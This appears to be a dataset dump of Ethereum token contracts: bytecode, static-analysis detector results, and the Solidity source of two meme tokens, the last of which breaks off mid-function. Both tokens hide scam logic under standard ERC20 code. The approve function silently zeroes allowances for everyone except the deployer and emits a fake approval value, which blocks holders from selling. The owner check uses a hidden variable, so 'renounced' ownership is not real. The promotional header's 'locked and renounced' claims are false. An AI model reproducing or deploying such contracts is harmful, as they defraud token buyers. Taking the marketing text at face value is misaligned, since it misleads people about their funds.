929190612a1a565b600060405180830381600087803b158015611b6357600080fd5b505af1158015611b77573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611ba5838383611c1f565b505050565b6000806000611bb7611dea565b91509150611bce8183611bd590919063ffffffff16565b9250505090565b6000611c1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e4c565b905092915050565b600080600080600080611c3187611eaf565b955095509550955095509550611c8f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d2485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7081611fbf565b611d7a848361207c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611dd791906129ff565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611e20683635c9adc5dea00000600854611bd590919063ffffffff16565b821015611e3f57600854683635c9adc5dea00000935093505050611e48565b81819350935050505b9091565b60008083118290611e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8a919061289d565b60405180910390fd5b5060008385611ea29190612b8b565b9050809150509392505050565b6000806000806000806000806000611ecc8a600a54600b546120b6565b9250925092506000611edc611baa565b90506000806000611eef8e87878761214c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611f5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061173b565b905092915050565b6000808284611f709190612b35565b905083811015611fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fac9061291f565b60405180910390fd5b8091505092915050565b6000611fc9611baa565b90506000611fe082846121d590919063ffffffff16565b905061203481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61209182600854611f1790919063ffffffff16565b6008819055506120ac81600954611f6190919063ffffffff16565b6009819055505050565b6000806000806120e260646120d4888a6121d590919063ffffffff16565b611bd590919063ffffffff16565b9050600061210c60646120fe888b6121d590919063ffffffff16565b611bd590919063ffffffff16565b9050600061213582612127858c611f1790919063ffffffff16565b611f1790919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061216585896121d590919063ffffffff16565b9050600061217c86896121d590919063ffffffff16565b9050600061219387896121d590919063ffffffff16565b905060006121bc826121ae8587611f1790919063ffffffff16565b611f1790919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156121e8576000905061224a565b600082846121f69190612bbc565b90508284826122059190612b8b565b14612245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223c9061293f565b60405180910390fd5b809150505b92915050565b600061226361225e84612ab4565b612a8f565b9050808382526020820190508285602086028201111561228657612285612e1f565b5b60005b858110156122b6578161229c88826122c0565b845260208401935060208301925050600181019050612289565b5050509392505050565b6000813590506122cf816130e3565b92915050565b6000815190506122e4816130e3565b92915050565b600082601f8301126122ff576122fe612e1a565b5b813561230f848260208601612250565b91505092915050565b600081519050612327816130fa565b92915050565b60008135905061233c81613111565b92915050565b60008151905061235181613111565b92915050565b60006020828403121561236d5761236c612e29565b5b600061237b848285016122c0565b91505092915050565b60006020828403121561239a57612399612e29565b5b60006123a8848285016122d5565b91505092915050565b600080604083850312156123c8576123c7612e29565b5b60006123d6858286016122c0565b92505060206123e7858286016122c0565b9150509250929050565b60008060006060848603121561240a57612409612e29565b5b6000612418868287016122c0565b9350506020612429868287016122c0565b925050604061243a8682870161232d565b9150509250925092565b6000806040838503121561245b5761245a612e29565b5b6000612469858286016122c0565b925050602061247a8582860161232d565b9150509250929050565b60006020828403121561249a57612499612e29565b5b600082013567ffffffffffffffff8111156124b8576124b7612e24565b5b6124c4848285016122ea565b91505092915050565b6000602082840312156124e3576124e2612e29565b5b60006124f184828501612318565b91505092915050565b60008060006060848603121561251357612512612e29565b5b600061252186828701612342565b935050602061253286828701612342565b925050604061254386828701612342565b9150509250925092565b60006125598383612565565b60208301905092915050565b61256e81612c4a565b82525050565b61257d81612c4a565b82525050565b600061258e82612af0565b6125988185612b13565b93506125a383612ae0565b8060005b838110156125d45781516125bb888261254d565b97506125c683612b06565b9250506001810190506125a7565b5085935050505092915050565b6125ea81612c5c565b82525050565b6125f981612c9f565b82525050565b600061260a82612afb565b6126148185612b24565b9350612624818560208601612cb1565b61262d81612e2e565b840191505092915050565b6000612645602383612b24565b915061265082612e3f565b604082019050919050565b6000612668602a83612b24565b915061267382612e8e565b604082019050919050565b600061268b602283612b24565b915061269682612edd565b604082019050919050565b60006126ae601b83612b24565b91506126b982612f2c565b602082019050919050565b60006126d1602183612b24565b91506126dc82612f55565b604082019050919050565b60006126f4602083612b24565b91506126ff82612fa4565b602082019050919050565b6000612717602983612b24565b915061272282612fcd565b604082019050919050565b600061273a602583612b24565b91506127458261301c565b604082019050919050565b600061275d602483612b24565b91506127688261306b565b604082019050919050565b6000612780601783612b24565b915061278b826130ba565b602082019050919050565b61279f81612c88565b82525050565b6127ae81612c92565b82525050565b60006020820190506127c96000830184612574565b92915050565b60006040820190506127e46000830185612574565b6127f16020830184612574565b9392505050565b600060408201905061280d6000830185612574565b61281a6020830184612796565b9392505050565b600060c0820190506128366000830189612574565b6128436020830188612796565b61285060408301876125f0565b61285d60608301866125f0565b61286a6080830185612574565b61287760a0830184612796565b979650505050505050565b600060208201905061289760008301846125e1565b92915050565b600060208201905081810360008301526128b781846125ff565b905092915050565b600060208201905081810360008301526128d881612638565b9050919050565b600060208201905081810360008301526128f88161265b565b9050919050565b600060208201905081810360008301526129188161267e565b9050919050565b60006020820190508181036000830152612938816126a1565b9050919050565b60006020820190508181036000830152612958816126c4565b9050919050565b60006020820190508181036000830152612978816126e7565b9050919050565b600060208201905081810360008301526129988161270a565b9050919050565b600060208201905081810360008301526129b88161272d565b9050919050565b600060208201905081810360008301526129d881612750565b9050919050565b600060208201905081810360008301526129f881612773565b9050919050565b6000602082019050612a146000830184612796565b92915050565b600060a082019050612a2f6000830188612796565b612a3c60208301876125f0565b8181036040830152612a4e8186612583565b9050612a5d6060830185612574565b612a6a6080830184612796565b9695505050505050565b6000602082019050612a8960008301846127a5565b92915050565b6000612a99612aaa565b9050612aa58282612ce4565b919050565b6000604051905090565b600067ffffffffffffffff821115612acf57612ace612deb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b4082612c88565b9150612b4b83612c88565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b8057612b7f612d5e565b5b828201905092915050565b6000612b9682612c88565b9150612ba183612c88565b925082612bb157612bb0612d8d565b5b828204905092915050565b6000612bc782612c88565b9150612bd283612c88565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c0b57612c0a612d5e565b5b828202905092915050565b6000612c2182612c88565b9150612c2c83612c88565b925082821015612c3f57612c3e612d5e565b5b828203905092915050565b6000612c5582612c68565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612caa82612c88565b9050919050565b60005b83811015612ccf578082015181840152602081019050612cb4565b83811115612cde576000848401525b50505050565b612ced82612e2e565b810181811067ffffffffffffffff82111715612d0c57612d0b612deb565b5b80604052505050565b6000612d2082612c88565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612d5357612d52612d5e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6130ec81612c4a565b81146130f757600080fd5b50565b61310381612c5c565b811461310e57600080fd5b50565b61311a81612c88565b811461312557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9d4c3fc15d55e94e7ee8a824b77812c2dbc2d2c18873b61b793465fe198042e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,393
0x8363349ac3bd236012f2d6d3ecc4d8e170b05357
/** Eikichi Onizuka (鬼塚 英吉) is a 22-year-old ex-gang member who enjoys teaching and, most of the time, he teaches life lessons rather than the routine schoolwork. He hates the systems of traditional education, especially when they have grown ignorant and condescending to students and their needs. Now, with the rise of anime tokens, Onizuka is here to teach his students how to make a token moon. */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract OnizukaInuETH is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**12 * 10**18; string private _name = 'Eikichi Onizuka Inu '; string private _symbol = 'ONIZUKA '; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205747fe83e9f0d1c35a665084fa4fc7271510f0401f677f6bee21cf3c9603fd5f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,394
0xf37fbb5fd84791477169123ccd685b9f649414f6
/* A rōnin was a samurai warrior in feudal Japan without a master or lord — known as a daimyo. A samurai could become a ronin in several different ways: his master might die or fall from power or the samurai might lose his master's favor or patronage and be cast off. $SHONIN serves no one and has no master. It is the exile that revels in its own solitude and stands for nothing but itself. Tokenomics 10,000,000 $SHONIN 13% Buy tax 17% Sell tax first hour, 13% thereafter Safunomics No team tokens Locked & renounced Anti-bot (block 0-1 automatically blacklisted) Twitter: https://twitter.com/shiba_ronin Website: https://shibaronin.com TG: https://t.me/shibaronin */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SHONIN is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 10* 10**6* 10**18; string private _name = 'Shiba Ronin ' ; string private _symbol = 'SHONIN ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { 